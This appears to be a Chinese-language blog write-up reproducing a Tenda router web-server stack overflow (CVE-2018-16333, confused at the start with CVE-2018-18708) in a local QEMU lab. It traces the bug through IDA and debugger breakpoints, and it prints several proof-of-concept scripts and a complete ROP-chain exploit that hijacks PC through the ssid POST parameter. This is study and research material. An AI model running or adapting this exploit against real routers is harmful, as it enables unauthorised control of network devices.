0x00 写在前面

本实验是对 CVE-2018-18708 漏洞的调试分析和复现,所有实验过程均在本地搭建的虚拟机中进行。通过该实验比较深入地理解了该漏洞的成因和利用过程。

请严格遵守所在地法律法规。

这个漏洞与前面非常雷同,在劫持了 PC 指针后的 ROP 链构造一模一样,但是这个漏洞又有一些不同,其存在一个栈空间的重叠,因此需要比较熟悉编译过程中如何进行压栈才能比较好理解到这个过程。当然也可以通过调试到方式来查看具体如何压栈的。因此,再记录一遍不重叠的部分,也算是对知识的回顾,提高掌握程度吧。

0x01 环境搭建

环境搭建过程与上篇博文《CVE-2018-18708 调试复现分析》 一模一样,这里就不写了。

0x02 漏洞分析

查看 nvd 的描述,可以得知在处理 POST 传递过来的 ssid 参数时不当,这个值会直接传递到函数 sprintf 中的一个局部变量中,然后就会造成栈溢出。但根据实际的逆向分析来看,并不是 sprintf 的原因(猜测是漏洞发现者写描述的时候复制粘贴了,或者是环境的版本不一样),但漏洞点还是在这个位置,只是原因是 strcpy 复制数据到栈上未检测长度。

An issue was discovered on Tenda AC7 V15.03.06.44_CN, AC9 V15.03.05.19(6318)_CN, AC10 V15.03.06.23_CN, AC15 V15.03.05.19_CN, and AC18 V15.03.05.19(6318)_CN devices. There is a buffer overflow vulnerability in the router’s web server. While processing the ssid parameter for a POST request, the value is directly used in a sprintf call to a local variable placed on the stack, which overrides the return address of the function, causing a buffer overflow.

所以我们直接在 ida 中搜索字符串 ssid 尝试找到漏洞点,但是不知道为啥这个就是搜不出来。

搜索字符串ssid失败

于是,我们可以通过内存搜索的方式,搜素 HEX ,这里 ssid 对应的是 73 73 69 64

然后我们把选项选到 IDA View-A 中,然后拖到程序最上面后,按 ALT + B 进行搜索,如下图所示

在内存中搜索ssid

设置完毕后,点击 OK 它会搜索到第一个。

开头和末尾的 \x00 是我不希望有其他字符的干扰,想进行全字匹配。

然后我们就找到了一个,然后交叉引用检查是否是漏洞点,若不是那就再用 Ctrl + B 重复搜索下一个,直到找到。

重复查找ssid

经过甄别,发现在偏移 0xe35b8 处才是。

找到与漏洞相关ssid的位置

这里我们找到后,就使用交叉引用跳转过去,是在函数 form_fast_setting_wifi_set 的开头这个位置。

找到漏洞点

到这里我们可以很清晰看到第 3435 行存在两个 strcpy 将获取的 ssid 数据直接拷贝到了 sdest。 相应的这两个变量分别定义在第 12 行和 13 行,是两个局部变量,因此是拷贝到了栈空间,并且可以清晰看到没有对源数据的长度进行检测,而目标缓冲区只有 64 字节的长度,因此存在经典栈溢出漏洞。

这里我就懒得去一步一步分析控制流找到这个参数具体是哪部分受控的,我们直接简单粗暴,往这个接口中灌入很长的 ssid 参数,观测程序是否崩溃来看我们是否能正常触发这个接口,如果不能再进一步调试找条件。

0x03 漏洞调试

还是和之前一样,所以这里我们就不再阐述在什么地方执行什么指令的。详情可以参考前两个博文。

运行程序

1
sudo chroot . ./qemu-arm-static ./bin/httpd

先运行一个 poc 观测程序崩溃

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
from pwn import p32

URL = "http://192.168.254.201:80/goform/fast_setting_wifi_set"

cookie = {"Cookie":"password=Ron"}
payload = b"ssid="+b"a"*1024

requests.post(url=URL, cookies=cookie, data=payload)

运行后,程序崩溃了。

这里每次程序 poc 程序都要运行两次才会触发,我也不清楚为啥,但是不影响使用。

PoC触发程序崩溃

接下来,我们期望定位到造成崩溃的数据是什么,从而构建 payload 。这里我们将 payload 字符进行替换,在 0x67090 处下断点 ,观测第二次 strcpy 执行前,其获取的 src 的值,找到崩溃处地址值是 yaaa ,然后得到偏移是 96

你可以下断点进行观测 b *0x6707C strcpy 执行前的参数

确定第一次崩溃数据偏移

但我们会发现,此次崩溃并非直接覆盖到了返回地址,导致 PC 值异常而崩溃,事实上,此时的崩溃多半是一个源地址不可读崩溃。

这是由于在原来的程序中,存在两个连续的代码如下,其中 ssrc 都是局部变量,而且由于传参规则,程序通过 fp 索引得到 src 会比 s 的地址高(这一点可以通过调试看到,也可以在 ida 中看到),所以当我们从 s 开始覆盖值时,一直覆盖到当前函数的返回地址时,一定会将 src 的值给覆盖了。

1
2
strcpy(s, src);
strcpy(dest, src);

因此,当第一行 strcpy 执行完毕溢出时会将 src 的值修改掉,这样第二次 strcpy 可能会因为访问非法地址而崩溃,因此我们需要保证第一次溢出之后,覆盖到 src 的地方是一个任意的可读地址并且不含有 \x00 即可(防止截断)。

这里我就偷懒了,直接在网上找了个别人的在 libc 中的可读不含0地址: libc_base+0x64144

这里可能还有一个疑问,第二次的数据拷贝是否会将第一次精心布置的栈空间给破环了呢?

事实上不会的。因为 dest 局部变量定义在 s 局部变量的前面,这导致他在栈中的地址是低于 s 的,因此从更小的地方覆盖过来,不会将最终的 PC 破坏掉。

1
2
3
4
5
6
7
8
9
10
11
+------+-----+
| name | len |
+------+-----+
| dest | 64 | <--- 第二次开始填入的地址
+------+-----+
| s | 64 | <--- 第一次开始填入的地址
+------+-----+
|......|.....|
+------+-----+
| fp | 124 |
+------+-----+

由于程序后面有个控制流会从当前函数的参数提取值赋予 v19 所以不能直接一次性给太多的数据,不然会溢出将参数都改了,导致这个 v19 获取的值是畸形,程序后面会崩溃。

后续控制流绕过

所以我们可以通过调试,让溢出能刚好覆盖到返回地址即可,其他的都不需要多覆盖了,要想得到这个值只需要在函数退出的地方下断点即可得到退出时返回到 PC 的栈帧的地址,然后和一开始覆盖的地址做差即可。

所以我们在函数 form_fast_setting_wifi_set 退出前下断点进行观测即可。

form_fast_setting_wifi_set退出指令偏移

所以我们在调试中,同时下两个断点,第一个用于观测 strcpy 执行时的参数即 s 的地址,然后第二个用于观测返回时哪个栈地址会压入 PC 两个相减就是我们要溢出的返回地址的偏移

1
2
b *0x6707C
b *0x6775C

写一个小小的不会溢出的 PoC

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
from pwn import p32, cyclic

URL = "http://192.168.254.201:80/goform/fast_setting_wifi_set"
cookie = {"Cookie":"password=Ron"}

cyc = cyclic(1024)
payload = b"ssid=Ron-CVE-2018-16333"

requests.post(url=URL, cookies=cookie, data=payload)

然后我们观测到第一次 strcpy 执行时,第一个参数即 s 的地址是 0xfffef318

第一次正常copy

然后我们直接 c 让其命中第二个断点,即返回返回前,此时我们得到了压入 PC 的栈地址是 0xfffef394

form_fast_setting_wifi_set函数退出前

于是我们直接计算得到会覆盖到 PC 的数据的偏移为 0xfffef394-0xfffef318=0x7c=124 ,所以我们可以进一步修正我们的 PoC

libc_base 的获取方法还是和之前一样,这里不再赘述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
from pwn import p32

URL = "http://192.168.254.201:80/goform/fast_setting_wifi_set"
cookie = {"Cookie":"password=Ron"}

libc_base = 0xff58c000
read_addr = libc_base + 0x64144

# 124-96-4=24
payload = b"ssid="+b"a"*96+p32(read_addr)+b"b"*24+p32(0xdeadbeef)

requests.post(url=URL, cookies=cookie, data=payload)

然后不用下断点,直接运行程序,可以看到程序崩溃,并且 PC=0xdeadbeee

0xdeadbeef -> 0xdeadbeeef 变成 e 也是 arm 指令转换,将最后一位置为 0 了,这里我们也不再赘述。

劫持PC为0xdeadbeef

所以我们就成功劫持了控制流了,接下来,就按照 《CVE-2018-18708 调试复现分析》 的方式进行利用即可。

因为环境都一样,只开了 NX 所以我们还是构建 ROP 链即可 。

安全保护机制

一样的 ROP 原语

1
2
3
4
ROPgadget --binary ./lib/libc.so.0 --only 'mov|blx'
# 0x00040cb8 : mov r0, r8 ; blx r3
ROPgadget --binary ./lib/libc.so.0 --only 'pop'
# 0x00018298 : pop {r3, pc}

于是我们就可以组装出一个可以用的 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
from pwn import p32

URL = "http://192.168.254.201:80/goform/fast_setting_wifi_set"
cookie = {"Cookie":"password=Ron"}

libc_base = 0xff58c000
read_addr = libc_base + 0x64144
puts = libc_base+0x35CD4
system = libc_base+0x5A270
_str = b"Hello, Ron on CVE-2018-16333\x00"
cmd = b"echo " + _str
mov_r0_sp = libc_base+0x40cb8 # mov r0, sp; blx r3;
pop_r3_pc = libc_base+0x18298 # pop {r3, pc};

# 124-96-4=24
payload = b"ssid="+b"a"*96+p32(read_addr)+b"b"*24+p32(pop_r3_pc)+p32(puts)+p32(mov_r0_sp)+_str

requests.post(url=URL, cookies=cookie, data=payload)

简单运行一下,程序成功输出 Hello, Ron on CVE-2018-16333

执行命令成功

差不多了,和前面的太像了。

0x04 内存布局变化图

最终在调试过程中的一些关键位置时的内存变化图如下

内存布局图

0x05 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
from pwn import p32

URL = "http://192.168.254.201:80/goform/fast_setting_wifi_set"
cookie = {"Cookie":"password=Ron"}

libc_base = 0xff58c000
read_addr = libc_base + 0x64144
puts = libc_base+0x35CD4
system = libc_base+0x5A270
_str = b"Hello, Ron on CVE-2018-16333\x00"
cmd = b"echo " + _str
mov_r0_sp = libc_base+0x40cb8 # mov r0, sp; blx r3;
pop_r3_pc = libc_base+0x18298 # pop {r3, pc};

# 124-96-4=24
payload = b"ssid="+b"a"*96+p32(read_addr)+b"b"*24+p32(pop_r3_pc)+p32(puts)+p32(mov_r0_sp)+_str

requests.post(url=URL, cookies=cookie, data=payload)

0x06 参考链接

简单看了看漏洞点位置 https://www.anquanke.com/post/id/231445

NVD https://nvd.nist.gov/vuln/detail/cve-2018-16333